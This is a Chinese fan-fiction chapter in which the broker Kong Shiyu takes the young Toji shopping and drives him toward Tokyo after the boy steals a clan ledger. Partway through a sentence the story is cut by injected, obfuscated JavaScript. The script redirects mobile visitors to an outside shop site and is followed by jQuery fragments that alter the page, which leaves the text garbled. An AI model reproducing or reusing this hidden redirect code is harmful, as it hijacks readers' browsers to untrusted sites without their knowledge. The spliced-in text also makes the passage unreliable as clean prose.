孔时雨在酒吧坐着,威士忌喝到第三杯。

    算算时间倒也还早,但他开始想了,万一这孩子没出现,耍他跑了还好,要是让人抓了,不但任务完蛋,他孔时雨受不受牵连还得看小孩哥嘴严不严。万一暴露了雇主......这真太冒险了,但这点事不该是在喝第三杯威士忌时才想的。

    孔时雨又点了根烟。窗外来逛花街的人也开始陆续往外走了。

    第四杯,窗框里有人进有人出,一棵柳树的枝条垂在右上角,在风里轻轻摇。这时窗框右边有什么一闪蹿了进来,像只狐狸,黑色的,直奔到灯火屋的“灯”字底下,左右张望。

    孔时雨叫来店员结账,小孩眼尖,孔时雨一推开酒吧门就看见了,往这边走过来。

    他没绕弯子,怀里两手抱着那本对他的身体来说有点太大的硬皮簿子,冲孔时雨扬扬下巴。

    孔时雨:“......进来说?”他坐回自己之前的位置,跟一个八岁小孩。甚尔把那本深蓝皮面的线裝簿子扔到桌上,孔时雨打开,密密麻麻的小字,是仓野家的账簿没错。

    “这么快?”孔说。

    “废话,跑着回来的。”孔时雨心想我看见你跑着回来了,跟坐火箭一样。他看了眼面前的小孩,没在喘。

    “不过你给的位置挺准的”甚尔接着说,“应该没人看见我。仓野家的蠢货连个保险柜什么的都没有,倒是上了几层结界。比上普通人家偷点钱都容易。”

    “你去普通人家偷过钱?”

    “没有。”

    甚尔开始无所谓地四下打量。但孔时雨能看出底下掩饰不住的一点小孩式的兴奋。这时甚尔指着孔时雨剩在桌上那杯酒,“这个能喝吗”,说的时候手已经伸过去了。

    孔时雨:“......你八岁。”用两根手指默默把杯子往自己这边挪了一点。

    “但我尝过。”

    孔时雨:“……” 他叫了老板,“两杯热乌龙茶。”

    小孩翻了翻眼睛,“话说......”他摊开手,像在打开来展示身体,“大叔,你和我,肯定是你先醉。”

    “你还想不想玩了?”

    “想。”

    “想玩什么?”

    “不知道,你带我玩什么就玩什么。”

    “三天都这样?”

    “你是大人,你安排。”

    孔时雨:“......阿一西。”

    甚尔:“什么意思?”

    孔:“骂人话,别学。”

    甚尔:“你骂我?”

    孔:“……没。“

    甚尔:“阿一西。”

    孔:“……”

    ——

    总之先带回酒店了。四杯威士忌,没法开车。

    孔让小孩先去洗澡,倒是听话。进去又探出来个脑袋,“我穿什么?”

    孔时雨:“......”拿了件自己的干净衬衫扔过去。

    “先穿这个,明天给你买。”

    得到一个袖子挽了八道穿裙子的小男孩。

    “大叔,你有这种爱好啊?”歪着脑袋。

    “……我叫孔。”孔时雨没接这个烂茬。

    “孔,我困了要睡了。”直接跳到床上。

    孔时雨指指床脚的小沙发。

    甚尔看了他一眼。

    “够你睡了。完全。”

    “我都没睡过床——”小孩抗议。禅院家是和室。

    “你也没睡过沙发,体验去吧”

    ——

    孔时雨刷牙出来,看见甚尔已经在小沙发上睡着了。和服叠起来枕着,盖了一件孔时雨的外套,缩成一小团。小孩睡着以后那股狼一样的劲儿淡了不少。头发有点长,没吹干贴在颈后,气息均匀,那道疤也像在呼吸。

    孔时雨突然就觉得自己有点不做人了。

    让一个刚替自己干完出生入死的黑活儿的八岁同伙,缩在翻个身就要掉下去的窄沙发里过夜,这事儿要是传到黑市同行耳朵里,他孔时雨的冷血程度估计还能再往上翻个倍。

    抱到床上去?他看着小孩因为防备而微微绷紧的背部肌肉,打消了这个矫情的念头。随便去触碰一只警觉的、刚换了新环境的野生动物,被咬一口都是轻的。

    算了就这样吧。他从柜子里扯过一条多余的毯子,动作尽量放轻地搭在自己那件外套上面。

    ——

    第二天上午十点,优衣库童装区。

    孔时雨站着,甚尔站在他旁边,看着那些挂着的卫衣T恤牛仔裤。

    衬衫裙实在没法出门,他换回了那件和服。

    一个八岁穿和服的小孩第一次站在童装区,孔时雨观察这个画面有种奇异的违和感。这家伙昨天晚上还在偷一个咒术家族的账本,现在他面对一排彩色童装完全没有头绪。

    “选。”孔时雨说。

    甚尔没动。

    “自己选。”

    甚尔抬头看他,绿眼睛里闪过一道孔时雨之前没见过的茫然——面对一排衣服。

    紧接着他指了指一件黑色的T恤,成套的。手伸出去的速度太快了,显然为了掩饰点什么。跟闭着眼睛点没什么区别。

    “这个。”声音相当坚定。

    “嗯……”孔时雨估算着大小,拿了一套扔进筐里。然后他歪着头看了甚尔一眼,摘下架子上一件深绿色连帽卫衣比了比,又抓了一条深蓝牛仔裤,再抓运动鞋。

    店员在旁边看着这个男人迅速地给一个嘴上有道疤的和服男孩搭配出一身,一句话没说,显然以为他俩是父子。

    一会儿甚尔从试衣间出来。

    孔时雨点着手机的手停了一下。

    一个穿绿色卫衣的八岁的东京街头随处都能看见的,普通的小孩。

    禅院家的耻辱。

    眼前这位好像配不起这么郑重的称谓。

    甚尔站在试衣间外面冲着他乐,手插在卫衣口袋里。

    “好看吗?”

    孔时雨:“挺好。”绿眼睛配绿卫衣,他没选错。挺好。

    ——

    中午,孔时雨和一身优衣库的小朋友走出家庭餐厅。

    “你知道吗,”孔时雨往车子方向走,语气平淡,“只有真正的小孩,才会介意午饭被点儿童套餐这种事。”

    甚尔东张西望,冷不丁回了一句:“只有没常识的大人,才会以为儿童套餐那点肉能吃饱。”

    孔时雨干笑两声。回想起刚才这小鬼面无表情地两口吞掉那个送塑料玩具的汉堡后,又一言不发地把自己盘子里的两块特大炸猪排全扒拉走了的画面。

    ——

    一大一小上车。向东向北,回东京。

    孔时雨开车。甚尔不睡觉,睡了一晚小沙发但相当精神。但出乎孔的意料,挺安静的。

    “你叔叔不找你?”

    “找吧,不过找不着就算了。估计他以为我逛累了就回灯火屋了,明天再去灯火屋找。”

    “明天找不着怎么办?”

    “明天找不着就后天再看看。”

    “......”

    ——

    一小时后,栗东服务区。

    孔时雨把车停在停车场。回头看副驾——甚尔还醒着,趴在窗户上看外面。

    “下来。” 孔时雨说,“上厕所,吃东西。”

    甚尔跳下车。运动鞋他穿着有点不习惯,落

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606380|205738||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地踉跄了一下,又立刻站稳了。

    服务区。卡车司机、长途家庭,一种很奇怪的人间气。甚尔没见过这种地方。孔时雨看见他眼睛在动。左看右看,每一个细节都被他扫一遍。

    便利店里。

    孔时雨:“想吃什么。”

    甚尔站在饭团货架前不动。

    孔时雨:“不挑就我挑了。”

    甚尔:“……”

    孔时雨从架子上抓了三个饭团(鲑鱼、梅子、明太子),两瓶热麦茶 ,一袋小米饼干和一根香蕉。

    甚尔看着孔时雨手里的东西:“……这么多。”

    孔时雨:“你要在车上吃六个小时。”

    甚尔“哦”了一声。

    付钱的时候孔时雨多拿了一包薄荷糖——他自己开车要的,顺手又抓了一袋小熊软糖扔进购物筐。

    甚尔:“那个不是给我的吧。”

    孔时雨:“不然给我?”

    甚尔没说话。

    但孔时雨注意到他捏了捏那个薄荷糖,以为是给他的。

    阿一西。

    孔时雨结账。

    ——

    户外的长凳。

    孔时雨抽烟,甚尔吃饭团。先吃的鲑鱼那个。

    春天中午的服务区,太阳当头。卡车在旁边一辆接一辆地发动、离开、新的进来。

    远处露出琵琶湖的一个角。中午的琵琶湖亮得晃眼,像有人把一整块碎掉的玻璃铺在远处。

    孔时雨抽了一会儿烟。

    “孔。”

    甚尔嚼着饭团说话。

    “嗯。”

    甚尔不看他,看着远处。

    “东京是不是有海来着?”

    ——

    孔时雨没立刻回答。

    他看了一眼甚尔的侧脸。这家伙的眼睛什么都没在看,就那样飘着。孔时雨能看出来那点小心迂回——不想让自己显得很想要的一种问法。

    操。孔时雨想了想。他把烟摁灭。

    他抬手指了指远处的湖面。

    “看,”他说,“海。”

    甚尔顺着他的手看了一眼。

    转头一脸成人世界都是垃圾的表情。

    “那不琵琶湖吗。”

    ——

    孔时雨第一次意识到——

    他过去这么多年没碰过孩子,打交道的全是成年人,他不知道怎么对待这个孩子。

    ——

    孔时雨沉默了一会儿。

    “……东京有海。”

    甚尔抬头看他。绿眼睛里那一点失望慢慢消下去。

    孔时雨:“不大,没什么意思,但是有。”

    甚尔没说话。

    孔时雨重新点了一根烟。

    “回头我带你去看。”

    ——

    太阳又升高了一点。湖面被晒得发白,偶尔有风吹过去,亮光一层层碎开。

    孔时雨吐了一口烟。

    他想,我答应一个八岁小孩带他去看海。

    他把烟抽完,站起来。

    “上车。”

    甚尔:“……嗯。”

    甚尔站起来。他把那袋没拆的小熊软糖捏在手里。孔时雨假装没看见。

    两个人走向停车场。

    远处的琵琶湖在身后慢慢被服务区的建筑挡住。

    这是琵琶湖。他没回头。

    他知道后面还有海。

    ——

    天快黑时,车流开始变密。东京要到了。

    高架桥一层层往前叠,广告牌亮起来,便利店、加油站、连锁餐厅的灯连成一片。

    甚尔第一次把脸彻底贴到车窗上。